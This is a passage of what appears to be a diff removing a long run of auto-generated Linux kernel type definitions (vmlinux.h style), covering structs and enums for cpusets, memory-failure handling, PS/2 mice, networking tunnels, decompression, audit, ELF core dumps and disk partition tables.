ktime_t (*timer_remaining)(struct k_itimer *, ktime_t); - int (*timer_try_to_cancel)(struct k_itimer *); - void (*timer_arm)(struct k_itimer *, ktime_t, bool, bool); - void (*timer_wait_running)(struct k_itimer *); -}; - -struct posix_clock_desc { - struct file *fp; - struct posix_clock *clk; -}; - -struct root_domain; - -struct sched_domain_attr { - int relax_domain_level; -}; - -struct fmeter { - int cnt; - int val; - time64_t time; - spinlock_t lock; -}; - -enum prs_errcode { - PERR_NONE = 0, - PERR_INVCPUS = 1, - PERR_INVPARENT = 2, - PERR_NOTPART = 3, - PERR_NOTEXCL = 4, - PERR_NOCPUS = 5, - PERR_HOTPLUG = 6, - PERR_CPUSEMPTY = 7, -}; - -struct cpuset { - struct cgroup_subsys_state css; - long unsigned int flags; - cpumask_var_t cpus_allowed; - nodemask_t mems_allowed; - cpumask_var_t effective_cpus; - nodemask_t effective_mems; - cpumask_var_t subparts_cpus; - nodemask_t old_mems_allowed; - struct fmeter fmeter; - int attach_in_progress; - int pn; - int relax_domain_level; - int nr_subparts_cpus; - int partition_root_state; - int use_parent_ecpus; - int child_ecpus_count; - enum prs_errcode prs_err; - struct cgroup_file partition_file; -}; - -struct tmpmasks { - cpumask_var_t addmask; - cpumask_var_t delmask; - cpumask_var_t new_cpus; -}; - -typedef enum { - CS_ONLINE = 0, - CS_CPU_EXCLUSIVE = 1, - CS_MEM_EXCLUSIVE = 2, - CS_MEM_HARDWALL = 3, - CS_MEMORY_MIGRATE = 4, - CS_SCHED_LOAD_BALANCE = 5, - CS_SPREAD_PAGE = 6, - CS_SPREAD_SLAB = 7, -} cpuset_flagbits_t; - -enum subparts_cmd { - partcmd_enable = 0, - partcmd_disable = 1, - partcmd_update = 2, - partcmd_invalidate = 3, -}; - -struct cpuset_migrate_mm_work { - struct work_struct work; - struct mm_struct *mm; - nodemask_t from; - nodemask_t to; -}; - -typedef enum { - FILE_MEMORY_MIGRATE = 0, - FILE_CPULIST = 1, - FILE_MEMLIST = 2, - FILE_EFFECTIVE_CPULIST = 3, - FILE_EFFECTIVE_MEMLIST = 4, - FILE_SUBPARTS_CPULIST = 5, - FILE_CPU_EXCLUSIVE = 6, - FILE_MEM_EXCLUSIVE = 7, - FILE_MEM_HARDWALL = 8, - FILE_SCHED_LOAD_BALANCE = 9, - FILE_PARTITION_ROOT = 10, - FILE_SCHED_RELAX_DOMAIN_LEVEL = 11, - FILE_MEMORY_PRESSURE_ENABLED = 12, - FILE_MEMORY_PRESSURE = 13, - FILE_SPREAD_PAGE = 14, - FILE_SPREAD_SLAB = 15, -} cpuset_filetype_t; - -struct vmemmap_remap_walk { - void (*remap_pte)(pte_t *, long unsigned int, struct vmemmap_remap_walk *); - long unsigned int nr_walked; - struct page *reuse_page; - long unsigned int reuse_addr; - struct list_head *vmemmap_pages; -}; - -typedef unsigned int isolate_mode_t; - -enum mf_result { - MF_IGNORED = 0, - MF_FAILED = 1, - MF_DELAYED = 2, - MF_RECOVERED = 3, -}; - -enum mf_action_page_type { - MF_MSG_KERNEL = 0, - MF_MSG_KERNEL_HIGH_ORDER = 1, - MF_MSG_SLAB = 2, - MF_MSG_DIFFERENT_COMPOUND = 3, - MF_MSG_HUGE = 4, - MF_MSG_FREE_HUGE = 5, - MF_MSG_UNMAP_FAILED = 6, - MF_MSG_DIRTY_SWAPCACHE = 7, - MF_MSG_CLEAN_SWAPCACHE = 8, - MF_MSG_DIRTY_MLOCKED_LRU = 9, - MF_MSG_CLEAN_MLOCKED_LRU = 10, - MF_MSG_DIRTY_UNEVICTABLE_LRU = 11, - MF_MSG_CLEAN_UNEVICTABLE_LRU = 12, - MF_MSG_DIRTY_LRU = 13, - MF_MSG_CLEAN_LRU = 14, - MF_MSG_TRUNCATED_LRU = 15, - MF_MSG_BUDDY = 16, - MF_MSG_DAX = 17, - MF_MSG_UNSPLIT_THP = 18, - MF_MSG_UNKNOWN = 19, -}; - -typedef long unsigned int dax_entry_t; - -enum ttu_flags { - TTU_SPLIT_HUGE_PMD = 4, - TTU_IGNORE_MLOCK = 8, - TTU_SYNC = 16, - TTU_IGNORE_HWPOISON = 32, - TTU_BATCH_FLUSH = 64, - TTU_RMAP_LOCKED = 128, -}; - -struct rmap_walk_control { - void *arg; - bool try_lock; - bool contended; - bool (*rmap_one)(struct folio *, struct vm_area_struct *, long unsigned int, void *); - int (*done)(struct folio *); - struct anon_vma * (*anon_lock)(struct folio *, struct rmap_walk_control *); - bool (*invalid_vma)(struct vm_area_struct *, void *); -}; - -struct to_kill { - struct list_head nd; - struct task_struct *tsk; - long unsigned int addr; - short int size_shift; -}; - -struct hwp_walk { - struct to_kill tk; - long unsigned int pfn; - int flags; -}; - -struct page_state { - long unsigned int mask; - long unsigned int res; - enum mf_action_page_type type; - int (*action)(struct page_state *, struct page *); -}; - -struct raw_hwp_page { - struct llist_node node; - struct page *page; -}; - -struct memory_failure_entry { - long unsigned int pfn; - int flags; -}; - -struct memory_failure_cpu { - struct { - union { - struct __kfifo kfifo; - struct memory_failure_entry *type; - const struct memory_failure_entry *const_type; - char (*rectype)[0]; - struct memory_failure_entry *ptr; - const struct memory_failure_entry *ptr_const; - }; - struct memory_failure_entry buf[16]; - } fifo; - spinlock_t lock; - struct work_struct work; -}; - -struct nls_table { - const char *charset; - const char *alias; - int (*uni2char)(wchar_t, unsigned char *, int); - int (*char2uni)(const unsigned char *, int, wchar_t *); - const unsigned char *charset2lower; - const unsigned char *charset2upper; - struct module *owner; - struct nls_table *next; -}; - -enum p9_session_flags { - V9FS_PROTO_2000U = 1, - V9FS_PROTO_2000L = 2, - V9FS_ACCESS_SINGLE = 4, - V9FS_ACCESS_USER = 8, - V9FS_ACCESS_CLIENT = 16, - V9FS_POSIX_ACL = 32, -}; - -struct v9fs_session_info { - unsigned char flags; - unsigned char nodev; - short unsigned int debug; - unsigned int afid; - unsigned int cache; - char *uname; - char *aname; - unsigned int maxdata; - kuid_t dfltuid; - kgid_t dfltgid; - kuid_t uid; - struct p9_client *clnt; - struct list_head slist; - struct rw_semaphore rename_sem; - long int session_lock_timeout; -}; - -struct chksum_desc_ctx { - __u16 crc; -}; - -enum { - BIOSET_NEED_BVECS = 1, - BIOSET_NEED_RESCUER = 2, - BIOSET_PERCPU_CACHE = 4, -}; - -struct bio_alloc_cache { - struct bio *free_list; - unsigned int nr; -}; - -struct biovec_slab { - int nr_vecs; - char *name; - struct kmem_cache *slab; -}; - -struct bio_slab { - struct kmem_cache *slab; - unsigned int slab_ref; - unsigned int slab_size; - char name[8]; -}; - -typedef void * (*devcon_match_fn_t)(struct fwnode_handle *, const char *, void *); - -struct vivaldi_data { - u32 function_row_physmap[24]; - unsigned int num_function_row_keys; -}; - -struct input_mt_pos { - s16 x; - s16 y; -}; - -struct ps2dev { - struct serio *serio; - struct mutex cmd_mutex; - wait_queue_head_t wait; - long unsigned int flags; - u8 cmdbuf[8]; - u8 cmdcnt; - u8 nak; -}; - -enum psmouse_state { - PSMOUSE_IGNORE = 0, - PSMOUSE_INITIALIZING = 1, - PSMOUSE_RESYNCING = 2, - PSMOUSE_CMD_MODE = 3, - PSMOUSE_ACTIVATED = 4, -}; - -typedef enum { - PSMOUSE_BAD_DATA = 0, - PSMOUSE_GOOD_DATA = 1, - PSMOUSE_FULL_PACKET = 2, -} psmouse_ret_t; - -enum psmouse_scale { - PSMOUSE_SCALE11 = 0, - PSMOUSE_SCALE21 = 1, -}; - -enum psmouse_type { - PSMOUSE_NONE = 0, - PSMOUSE_PS2 = 1, - PSMOUSE_PS2PP = 2, - PSMOUSE_THINKPS = 3, - PSMOUSE_GENPS = 4, - PSMOUSE_IMPS = 5, - PSMOUSE_IMEX = 6, - PSMOUSE_SYNAPTICS = 7, - PSMOUSE_ALPS = 8, - PSMOUSE_LIFEBOOK = 9, - PSMOUSE_TRACKPOINT = 10, - PSMOUSE_TOUCHKIT_PS2 = 11, - PSMOUSE_CORTRON = 12, - PSMOUSE_HGPK = 13, - PSMOUSE_ELANTECH = 14, - PSMOUSE_FSP = 15, - PSMOUSE_SYNAPTICS_RELATIVE = 16, - PSMOUSE_CYPRESS = 17, - PSMOUSE_FOCALTECH = 18, - PSMOUSE_VMMOUSE = 19, - PSMOUSE_BYD = 20, - PSMOUSE_SYNAPTICS_SMBUS = 21, - PSMOUSE_ELANTECH_SMBUS = 22, - PSMOUSE_AUTO = 23, -}; - -struct psmouse; - -struct psmouse_protocol { - enum psmouse_type type; - bool maxproto; - bool ignore_parity; - bool try_passthru; - bool smbus_companion; - const char *name; - const char *alias; - int (*detect)(struct psmouse *, bool); - int (*init)(struct psmouse *); -}; - -struct psmouse { - void *private; - struct input_dev *dev; - struct ps2dev ps2dev; - struct delayed_work resync_work; - const char *vendor; - const char *name; - const struct psmouse_protocol *protocol; - unsigned char packet[8]; - unsigned char badbyte; - unsigned char pktcnt; - unsigned char pktsize; - unsigned char oob_data_type; - unsigned char extra_buttons; - bool acks_disable_command; - unsigned int model; - long unsigned int last; - long unsigned int out_of_sync_cnt; - long unsigned int num_resyncs; - enum psmouse_state state; - char devname[64]; - char phys[32]; - unsigned int rate; - unsigned int resolution; - unsigned int resetafter; - unsigned int resync_time; - bool smartscroll; - psmouse_ret_t (*protocol_handler)(struct psmouse *); - void (*set_rate)(struct psmouse *, unsigned int); - void (*set_resolution)(struct psmouse *, unsigned int); - void (*set_scale)(struct psmouse *, enum psmouse_scale); - int (*reconnect)(struct psmouse *); - int (*fast_reconnect)(struct psmouse *); - void (*disconnect)(struct psmouse *); - void (*cleanup)(struct psmouse *); - int (*poll)(struct psmouse *); - void (*pt_activate)(struct psmouse *); - void (*pt_deactivate)(struct psmouse *); -}; - -struct psmouse_attribute { - struct device_attribute dattr; - void *data; - ssize_t (*show)(struct psmouse *, void *, char *); - ssize_t (*set)(struct psmouse *, void *, const char *, size_t); - bool protect; -}; - -enum synaptics_pkt_type { - SYN_NEWABS = 0, - SYN_NEWABS_STRICT = 1, - SYN_NEWABS_RELAXED = 2, - SYN_OLDABS = 3, -}; - -struct synaptics_hw_state { - int x; - int y; - int z; - int w; - unsigned int left: 1; - unsigned int right: 1; - unsigned int middle: 1; - unsigned int up: 1; - unsigned int down: 1; - u8 ext_buttons; - s8 scroll; -}; - -struct synaptics_device_info { - u32 model_id; - u32 firmware_id; - u32 board_id; - u32 capabilities; - u32 ext_cap; - u32 ext_cap_0c; - u32 ext_cap_10; - u32 identity; - u32 x_res; - u32 y_res; - u32 x_max; - u32 y_max; - u32 x_min; - u32 y_min; -}; - -struct synaptics_data { - struct synaptics_device_info info; - enum synaptics_pkt_type pkt_type; - u8 mode; - int scroll; - bool absolute_mode; - bool disable_gesture; - struct serio *pt_port; - struct synaptics_hw_state agm; - unsigned int agm_count; - long unsigned int press_start; - bool press; - bool report_press; - bool is_forcepad; -}; - -struct min_max_quirk { - const char * const *pnp_ids; - struct { - u32 min; - u32 max; - } board_id; - u32 x_min; - u32 x_max; - u32 y_min; - u32 y_max; -}; - -struct fib_rule_uid_range { - __u32 start; - __u32 end; -}; - -struct fib_notifier_info { - int family; - struct netlink_ext_ack *extack; -}; - -enum fib_event_type { - FIB_EVENT_ENTRY_REPLACE = 0, - FIB_EVENT_ENTRY_APPEND = 1, - FIB_EVENT_ENTRY_ADD = 2, - FIB_EVENT_ENTRY_DEL = 3, - FIB_EVENT_RULE_ADD = 4, - FIB_EVENT_RULE_DEL = 5, - FIB_EVENT_NH_ADD = 6, - FIB_EVENT_NH_DEL = 7, - FIB_EVENT_VIF_ADD = 8, - FIB_EVENT_VIF_DEL = 9, -}; - -struct fib_rule_notifier_info { - struct fib_notifier_info info; - struct fib_rule *rule; -}; - -struct channels_reply_data { - struct ethnl_reply_data base; - struct ethtool_channels channels; -}; - -struct flow_dissector_key_tags { - u32 flow_label; -}; - -struct flow_dissector_key_vlan { - union { - struct { - u16 vlan_id: 12; - u16 vlan_dei: 1; - u16 vlan_priority: 3; - }; - __be16 vlan_tci; - }; - __be16 vlan_tpid; - __be16 vlan_eth_type; - u16 padding; -}; - -struct flow_dissector_key_keyid { - __be32 keyid; -}; - -struct flow_dissector_key_ipv4_addrs { - __be32 src; - __be32 dst; -}; - -struct flow_dissector_key_ipv6_addrs { - struct in6_addr src; - struct in6_addr dst; -}; - -struct flow_dissector_key_tipc { - __be32 key; -}; - -struct flow_dissector_key_addrs { - union { - struct flow_dissector_key_ipv4_addrs v4addrs; - struct flow_dissector_key_ipv6_addrs v6addrs; - struct flow_dissector_key_tipc tipckey; - }; -}; - -struct flow_dissector_key_ports { - union { - __be32 ports; - struct { - __be16 src; - __be16 dst; - }; - }; -}; - -struct flow_dissector_key_icmp { - struct { - u8 type; - u8 code; - }; - u16 id; -}; - -struct flow_keys { - struct flow_dissector_key_control control; - struct flow_dissector_key_basic basic; - struct flow_dissector_key_tags tags; - struct flow_dissector_key_vlan vlan; - struct flow_dissector_key_vlan cvlan; - struct flow_dissector_key_keyid keyid; - struct flow_dissector_key_ports ports; - struct flow_dissector_key_icmp icmp; - struct flow_dissector_key_addrs addrs; - long: 0; -}; - -struct ip_sf_list; - -struct ip_mc_list { - struct in_device *interface; - __be32 multiaddr; - unsigned int sfmode; - struct ip_sf_list *sources; - struct ip_sf_list *tomb; - long unsigned int sfcount[2]; - union { - struct ip_mc_list *next; - struct ip_mc_list *next_rcu; - }; - struct ip_mc_list *next_hash; - struct timer_list timer; - int users; - refcount_t refcnt; - spinlock_t lock; - char tm_running; - char reporter; - char unsolicit_count; - char loaded; - unsigned char gsquery; - unsigned char crcount; - struct callback_head rcu; -}; - -struct ip_sf_list { - struct ip_sf_list *sf_next; - long unsigned int sf_count[2]; - __be32 sf_inaddr; - unsigned char sf_gsresp; - unsigned char sf_oldin; - unsigned char sf_crcount; -}; - -enum { - IFLA_GRE_UNSPEC = 0, - IFLA_GRE_LINK = 1, - IFLA_GRE_IFLAGS = 2, - IFLA_GRE_OFLAGS = 3, - IFLA_GRE_IKEY = 4, - IFLA_GRE_OKEY = 5, - IFLA_GRE_LOCAL = 6, - IFLA_GRE_REMOTE = 7, - IFLA_GRE_TTL = 8, - IFLA_GRE_TOS = 9, - IFLA_GRE_PMTUDISC = 10, - IFLA_GRE_ENCAP_LIMIT = 11, - IFLA_GRE_FLOWINFO = 12, - IFLA_GRE_FLAGS = 13, - IFLA_GRE_ENCAP_TYPE = 14, - IFLA_GRE_ENCAP_FLAGS = 15, - IFLA_GRE_ENCAP_SPORT = 16, - IFLA_GRE_ENCAP_DPORT = 17, - IFLA_GRE_COLLECT_METADATA = 18, - IFLA_GRE_IGNORE_DF = 19, - IFLA_GRE_FWMARK = 20, - IFLA_GRE_ERSPAN_INDEX = 21, - IFLA_GRE_ERSPAN_VER = 22, - IFLA_GRE_ERSPAN_DIR = 23, - IFLA_GRE_ERSPAN_HWID = 24, - __IFLA_GRE_MAX = 25, -}; - -struct ip6_tnl_parm2 { - char name[16]; - int link; - __u8 proto; - __u8 encap_limit; - __u8 hop_limit; - __be32 flowinfo; - __u32 flags; - struct in6_addr laddr; - struct in6_addr raddr; - __be16 i_flags; - __be16 o_flags; - __be32 i_key; - __be32 o_key; -}; - -struct ipv6_tlv_tnl_enc_lim { - __u8 type; - __u8 length; - __u8 encap_limit; -}; - -struct gre_base_hdr { - __be16 flags; - __be16 protocol; -}; - -enum erspan_encap_type { - ERSPAN_ENCAP_NOVLAN = 0, - ERSPAN_ENCAP_ISL = 1, - ERSPAN_ENCAP_8021Q = 2, - ERSPAN_ENCAP_INFRAME = 3, -}; - -struct erspan_base_hdr { - __u8 vlan_upper: 4; - __u8 ver: 4; - __u8 vlan: 8; - __u8 session_id_upper: 2; - __u8 t: 1; - __u8 en: 2; - __u8 cos: 3; - __u8 session_id: 8; -}; - -enum erspan_bso { - BSO_NOERROR = 0, - BSO_SHORT = 1, - BSO_OVERSIZED = 2, - BSO_BAD = 3, -}; - -struct ip6gre_net { - struct ip6_tnl *tunnels[128]; - struct ip6_tnl *collect_md_tun; - struct ip6_tnl *collect_md_tun_erspan; - struct net_device *fb_tunnel_dev; -}; - -struct qtag_prefix { - __be16 eth_type; - __be16 tci; -}; - -struct group_data { - int limit[21]; - int base[20]; - int permute[258]; - int minLen; - int maxLen; -}; - -struct bunzip_data { - int writeCopies; - int writePos; - int writeRunCountdown; - int writeCount; - int writeCurrent; - long int (*fill)(void *, long unsigned int); - long int inbufCount; - long int inbufPos; - unsigned char *inbuf; - unsigned int inbufBitCount; - unsigned int inbufBits; - unsigned int crc32Table[256]; - unsigned int headerCRC; - unsigned int totalCRC; - unsigned int writeCRC; - unsigned int *dbuf; - unsigned int dbufSize; - unsigned char selectors[32768]; - struct group_data groups[6]; - int io_error; - int byteCount[256]; - unsigned char symToByte[256]; - unsigned char mtfSymbol[256]; -}; - -typedef enum { - ZSTD_error_no_error = 0, - ZSTD_error_GENERIC = 1, - ZSTD_error_prefix_unknown = 10, - ZSTD_error_version_unsupported = 12, - ZSTD_error_frameParameter_unsupported = 14, - ZSTD_error_frameParameter_windowTooLarge = 16, - ZSTD_error_corruption_detected = 20, - ZSTD_error_checksum_wrong = 22, - ZSTD_error_dictionary_corrupted = 30, - ZSTD_error_dictionary_wrong = 32, - ZSTD_error_dictionaryCreation_failed = 34, - ZSTD_error_parameter_unsupported = 40, - ZSTD_error_parameter_outOfBound = 42, - ZSTD_error_tableLog_tooLarge = 44, - ZSTD_error_maxSymbolValue_tooLarge = 46, - ZSTD_error_maxSymbolValue_tooSmall = 48, - ZSTD_error_stage_wrong = 60, - ZSTD_error_init_missing = 62, - ZSTD_error_memory_allocation = 64, - ZSTD_error_workSpace_tooSmall = 66, - ZSTD_error_dstSize_tooSmall = 70, - ZSTD_error_srcSize_wrong = 72, - ZSTD_error_dstBuffer_null = 74, - ZSTD_error_frameIndex_tooLarge = 100, - ZSTD_error_seekableIO = 102, - ZSTD_error_dstBuffer_wrong = 104, - ZSTD_error_srcBuffer_wrong = 105, - ZSTD_error_maxCode = 120, -} ZSTD_ErrorCode; - -struct ZSTD_DCtx_s; - -typedef struct ZSTD_DCtx_s ZSTD_DCtx___2; - -struct ZSTD_inBuffer_s { - const void *src; - size_t size; - size_t pos; -}; - -typedef struct ZSTD_inBuffer_s ZSTD_inBuffer; - -typedef ZSTD_DCtx___2 ZSTD_DStream; - -typedef ZSTD_ErrorCode zstd_error_code; - -typedef ZSTD_DCtx___2 zstd_dctx; - -typedef ZSTD_inBuffer zstd_in_buffer; - -typedef ZSTD_outBuffer zstd_out_buffer; - -typedef ZSTD_DStream zstd_dstream; - -typedef ZSTD_frameHeader zstd_frame_header; - -typedef struct { - u64 val; -} pfn_t; - -struct memtype { - u64 start; - u64 end; - u64 subtree_max_end; - enum page_cache_mode type; - struct rb_node rb; -}; - -enum { - PAT_UC = 0, - PAT_WC = 1, - PAT_WT = 4, - PAT_WP = 5, - PAT_WB = 6, - PAT_UC_MINUS = 7, -}; - -struct pagerange_state { - long unsigned int cur_pfn; - int ram; - int not_ram; -}; - -typedef int __kernel_mqd_t; - -typedef __kernel_mqd_t mqd_t; - -enum audit_state { - AUDIT_STATE_DISABLED = 0, - AUDIT_STATE_BUILD = 1, - AUDIT_STATE_RECORD = 2, -}; - -struct audit_cap_data { - kernel_cap_t permitted; - kernel_cap_t inheritable; - union { - unsigned int fE; - kernel_cap_t effective; - }; - kernel_cap_t ambient; - kuid_t rootid; -}; - -struct audit_names { - struct list_head list; - struct filename *name; - int name_len; - bool hidden; - long unsigned int ino; - dev_t dev; - umode_t mode; - kuid_t uid; - kgid_t gid; - dev_t rdev; - u32 osid; - struct audit_cap_data fcap; - unsigned int fcap_ver; - unsigned char type; - bool should_free; -}; - -struct mq_attr { - __kernel_long_t mq_flags; - __kernel_long_t mq_maxmsg; - __kernel_long_t mq_msgsize; - __kernel_long_t mq_curmsgs; - __kernel_long_t __reserved[4]; -}; - -struct open_how { - __u64 flags; - __u64 mode; - __u64 resolve; -}; - -struct audit_ntp_val { - long long int oldval; - long long int newval; -}; - -struct audit_ntp_data { - struct audit_ntp_val vals[6]; -}; - -struct audit_proctitle { - int len; - char *value; -}; - -struct audit_aux_data; - -struct audit_tree_refs; - -struct audit_context { - int dummy; - enum { - AUDIT_CTX_UNUSED = 0, - AUDIT_CTX_SYSCALL = 1, - AUDIT_CTX_URING = 2, - } context; - enum audit_state state; - enum audit_state current_state; - unsigned int serial; - int major; - int uring_op; - struct timespec64 ctime; - long unsigned int argv[4]; - long int return_code; - u64 prio; - int return_valid; - struct audit_names preallocated_names[5]; - int name_count; - struct list_head names_list; - char *filterkey; - struct path pwd; - struct audit_aux_data *aux; - struct audit_aux_data *aux_pids; - struct __kernel_sockaddr_storage *sockaddr; - size_t sockaddr_len; - pid_t ppid; - kuid_t uid; - kuid_t euid; - kuid_t suid; - kuid_t fsuid; - kgid_t gid; - kgid_t egid; - kgid_t sgid; - kgid_t fsgid; - long unsigned int personality; - int arch; - pid_t target_pid; - kuid_t target_auid; - kuid_t target_uid; - unsigned int target_sessionid; - u32 target_sid; - char target_comm[16]; - struct audit_tree_refs *trees; - struct audit_tree_refs *first_trees; - struct list_head killed_trees; - int tree_count; - int type; - union { - struct { - int nargs; - long int args[6]; - } socketcall; - struct { - kuid_t uid; - kgid_t gid; - umode_t mode; - u32 osid; - int has_perm; - uid_t perm_uid; - gid_t perm_gid; - umode_t perm_mode; - long unsigned int qbytes; - } ipc; - struct { - mqd_t mqdes; - struct mq_attr mqstat; - } mq_getsetattr; - struct { - mqd_t mqdes; - int sigev_signo; - } mq_notify; - struct { - mqd_t mqdes; - size_t msg_len; - unsigned int msg_prio; - struct timespec64 abs_timeout; - } mq_sendrecv; - struct { - int oflag; - umode_t mode; - struct mq_attr attr; - } mq_open; - struct { - pid_t pid; - struct audit_cap_data cap; - } capset; - struct { - int fd; - int flags; - } mmap; - struct open_how openat2; - struct { - int argc; - } execve; - struct { - char *name; - } module; - struct { - struct audit_ntp_data ntp_data; - struct timespec64 tk_injoffset; - } time; - }; - int fds[2]; - struct audit_proctitle proctitle; -}; - -struct audit_rule_data { - __u32 flags; - __u32 action; - __u32 field_count; - __u32 mask[64]; - __u32 fields[64]; - __u32 values[64]; - __u32 fieldflags[64]; - __u32 buflen; - char buf[0]; -}; - -struct audit_field; - -struct audit_watch; - -struct audit_tree; - -struct audit_fsnotify_mark; - -struct audit_krule { - u32 pflags; - u32 flags; - u32 listnr; - u32 action; - u32 mask[64]; - u32 buflen; - u32 field_count; - char *filterkey; - struct audit_field *fields; - struct audit_field *arch_f; - struct audit_field *inode_f; - struct audit_watch *watch; - struct audit_tree *tree; - struct audit_fsnotify_mark *exe; - struct list_head rlist; - struct list_head list; - u64 prio; -}; - -struct audit_field { - u32 type; - union { - u32 val; - kuid_t uid; - kgid_t gid; - struct { - char *lsm_str; - void *lsm_rule; - }; - }; - u32 op; -}; - -struct audit_entry { - struct list_head list; - struct callback_head rcu; - struct audit_krule rule; -}; - -struct audit_netlink_list { - __u32 portid; - struct net *net; - struct sk_buff_head q; -}; - -struct __kernel_old_timeval { - __kernel_long_t tv_sec; - __kernel_long_t tv_usec; -}; - -typedef long unsigned int elf_greg_t; - -typedef elf_greg_t elf_gregset_t[27]; - -struct elf64_phdr { - Elf64_Word p_type; - Elf64_Word p_flags; - Elf64_Off p_offset; - Elf64_Addr p_vaddr; - Elf64_Addr p_paddr; - Elf64_Xword p_filesz; - Elf64_Xword p_memsz; - Elf64_Xword p_align; -}; - -struct elf_siginfo { - int si_signo; - int si_code; - int si_errno; -}; - -struct elf_prstatus_common { - struct elf_siginfo pr_info; - short int pr_cursig; - long unsigned int pr_sigpend; - long unsigned int pr_sighold; - pid_t pr_pid; - pid_t pr_ppid; - pid_t pr_pgrp; - pid_t pr_sid; - struct __kernel_old_timeval pr_utime; - struct __kernel_old_timeval pr_stime; - struct __kernel_old_timeval pr_cutime; - struct __kernel_old_timeval pr_cstime; -}; - -struct elf_prstatus { - struct elf_prstatus_common common; - elf_gregset_t pr_reg; - int pr_fpvalid; -}; - -struct elf_prpsinfo { - char pr_state; - char pr_sname; - char pr_zomb; - char pr_nice; - long unsigned int pr_flag; - __kernel_uid_t pr_uid; - __kernel_gid_t pr_gid; - pid_t pr_pid; - pid_t pr_ppid; - pid_t pr_pgrp; - pid_t pr_sid; - char pr_fname[16]; - char pr_psargs[80]; -}; - -enum kcore_type { - KCORE_TEXT = 0, - KCORE_VMALLOC = 1, - KCORE_RAM = 2, - KCORE_VMEMMAP = 3, - KCORE_USER = 4, -}; - -struct kcore_list { - struct list_head list; - long unsigned int addr; - size_t size; - int type; -}; - -struct ext4_orphan_block_tail { - __le32 ob_magic; - __le32 ob_checksum; -}; - -enum key_need_perm { - KEY_NEED_UNSPECIFIED = 0, - KEY_NEED_VIEW = 1, - KEY_NEED_READ = 2, - KEY_NEED_WRITE = 3, - KEY_NEED_SEARCH = 4, - KEY_NEED_LINK = 5, - KEY_NEED_SETATTR = 6, - KEY_NEED_UNLINK = 7, - KEY_SYSADMIN_OVERRIDE = 8, - KEY_AUTHTOKEN_OVERRIDE = 9, - KEY_DEFER_PERM_CHECK = 10, -}; - -struct __key_reference_with_attributes; - -typedef struct __key_reference_with_attributes *key_ref_t; - -enum key_notification_subtype { - NOTIFY_KEY_INSTANTIATED = 0, - NOTIFY_KEY_UPDATED = 1, - NOTIFY_KEY_LINKED = 2, - NOTIFY_KEY_UNLINKED = 3, - NOTIFY_KEY_CLEARED = 4, - NOTIFY_KEY_REVOKED = 5, - NOTIFY_KEY_INVALIDATED = 6, - NOTIFY_KEY_SETATTR = 7, -}; - -struct keyring_search_context { - struct keyring_index_key index_key; - const struct cred *cred; - struct key_match_data match_data; - unsigned int flags; - int (*iterator)(const void *, void *); - int skipped_ret; - bool possessed; - key_ref_t result; - time64_t now; -}; - -struct keyring_read_iterator_context { - size_t buflen; - size_t count; - key_serial_t *buffer; -}; - -enum crypto_attr_type_t { - CRYPTOCFGA_UNSPEC = 0, - CRYPTOCFGA_PRIORITY_VAL = 1, - CRYPTOCFGA_REPORT_LARVAL = 2, - CRYPTOCFGA_REPORT_HASH = 3, - CRYPTOCFGA_REPORT_BLKCIPHER = 4, - CRYPTOCFGA_REPORT_AEAD = 5, - CRYPTOCFGA_REPORT_COMPRESS = 6, - CRYPTOCFGA_REPORT_RNG = 7, - CRYPTOCFGA_REPORT_CIPHER = 8, - CRYPTOCFGA_REPORT_AKCIPHER = 9, - CRYPTOCFGA_REPORT_KPP = 10, - CRYPTOCFGA_REPORT_ACOMP = 11, - CRYPTOCFGA_STAT_LARVAL = 12, - CRYPTOCFGA_STAT_HASH = 13, - CRYPTOCFGA_STAT_BLKCIPHER = 14, - CRYPTOCFGA_STAT_AEAD = 15, - CRYPTOCFGA_STAT_COMPRESS = 16, - CRYPTOCFGA_STAT_RNG = 17, - CRYPTOCFGA_STAT_CIPHER = 18, - CRYPTOCFGA_STAT_AKCIPHER = 19, - CRYPTOCFGA_STAT_KPP = 20, - CRYPTOCFGA_STAT_ACOMP = 21, - __CRYPTOCFGA_MAX = 22, -}; - -struct crypto_report_acomp { - char type[64]; -}; - -struct acomp_req { - struct crypto_async_request base; - struct scatterlist *src; - struct scatterlist *dst; - unsigned int slen; - unsigned int dlen; - u32 flags; - void *__ctx[0]; -}; - -struct crypto_acomp { - int (*compress)(struct acomp_req *); - int (*decompress)(struct acomp_req *); - void (*dst_free)(struct scatterlist *); - unsigned int reqsize; - struct crypto_tfm base; -}; - -struct acomp_alg { - int (*compress)(struct acomp_req *); - int (*decompress)(struct acomp_req *); - void (*dst_free)(struct scatterlist *); - int (*init)(struct crypto_acomp *); - void (*exit)(struct crypto_acomp *); - unsigned int reqsize; - struct crypto_alg base; -}; - -struct fat_boot_sector { - __u8 ignored[3]; - __u8 system_id[8]; - __u8 sector_size[2]; - __u8 sec_per_clus; - __le16 reserved; - __u8 fats; - __u8 dir_entries[2]; - __u8 sectors[2]; - __u8 media; - __le16 fat_length; - __le16 secs_track; - __le16 heads; - __le32 hidden; - __le32 total_sect; - union { - struct { - __u8 drive_number; - __u8 state; - __u8 signature; - __u8 vol_id[4]; - __u8 vol_label[11]; - __u8 fs_type[8]; - } fat16; - struct { - __le32 length; - __le16 flags; - __u8 version[2]; - __le32 root_cluster; - __le16 info_sector; - __le16 backup_boot; - __le16 reserved2[6]; - __u8 drive_number; - __u8 state; - __u8 signature; - __u8 vol_id[4]; - __u8 vol_label[11]; - __u8 fs_type[8]; - } fat32; - }; -}; - -struct msdos_partition { - u8 boot_ind; - u8 head; - u8 sector; - u8 cyl; - u8 sys_ind; - u8 end_head; - u8 end_sector; - u8 end_cyl; - __le32 start_sect; - __le32 nr_sects; -}; - -enum msdos_sys_ind { - DOS_EXTENDED_PARTITION = 5, - LINUX_EXTENDED_PARTITION = 133, - WIN98_EXTENDED_PARTITION = 15, - LINUX_DATA_PARTITION = 131, - LINUX_LVM_PARTITION = 142, - LINUX_RAID_PARTITION = 253, - SOLARIS_X86_PARTITION = 130, - NEW_SOLARIS_X86_PARTITION = 191, - DM6_AUX1PARTITION = 81, - DM6_AUX3PARTITION = 83, - DM6_PARTITION = 84, - EZD_PARTITION = 85, - FREEBSD_PARTITION = 165, - OPENBSD_PARTITION = 166, - NETBSD_PARTITION = 169, - BSDI_PARTITION = 183, - MINIX_PARTITION = 129, - UNIXWARE_PARTITION = 99, -}; - -struct parsed_partitions { - struct gendisk *disk; - char name[32]; - struct { - sector_t from; - sector_t size; - int flags; - bool has_info; - struct partition_meta_info info; - } *parts; - int next; - int limit; - bool access_beyond_eod; - char *pp_buf; -}; - -typedef struct { - struct folio *v; -} Sector; - -struct solaris_x86_slice { - __le16 s_tag; - __le16 s_flag; - __le32 s_start; - 